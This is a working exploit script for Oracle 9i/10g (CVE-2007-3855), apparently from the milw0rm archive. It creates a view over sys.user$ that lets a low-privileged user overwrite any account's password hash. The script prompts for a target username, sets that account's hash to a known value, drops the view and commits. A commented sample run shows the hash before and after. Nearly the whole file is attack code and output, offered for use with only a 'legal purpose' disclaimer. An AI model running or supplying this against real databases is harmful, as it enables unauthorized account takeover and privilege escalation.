--
-- bunkerview.sql
--
-- Oracle 9i/10g - evil view exploit (CVE-2007-3855)
-- Uses evil view to perform unauthorized password update
--
-- by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
-- 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
--
-- This code should be used only for LEGAL purpose!
-- ...and remember: use Oracle at your own risk ;-)
--
-- Thanks to security researchers all around the world...
-- Smarties rules (they know what I mean)! ;-D
--
--
-- SQL> select * from user_sys_privs;
--
-- USERNAME PRIVILEGE ADM
-- ------------------------------ ---------------------------------------- ---
-- TEST CREATE VIEW NO
-- TEST CREATE SESSION NO
--
-- SQL> select password from sys.user$ where name='TEST';
--
-- PASSWORD
-- ------------------------------
-- AAAAAAAAAAAAAAAA
--
-- SQL> @bunkerview
-- [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
-- [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
-- [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
--
-- Target username (default TEST):
--
-- View created.
--
-- old 1: update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user'
-- new 1: update bunkerview set password='6D9FEAAB597EF01B' where name='TEST'
--
-- 1 row updated.
--
--
-- View dropped.
--
--
-- Commit complete.
--
-- SQL> select password from sys.user$ where name='TEST';
--
-- PASSWORD
-- ------------------------------
-- 6D9FEAAB597EF01B
--
set serveroutput on;
prompt [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
create or replace view bunkerview as
select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name;
update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user';
drop view bunkerview;
commit;
-- milw0rm.com [2007-07-19]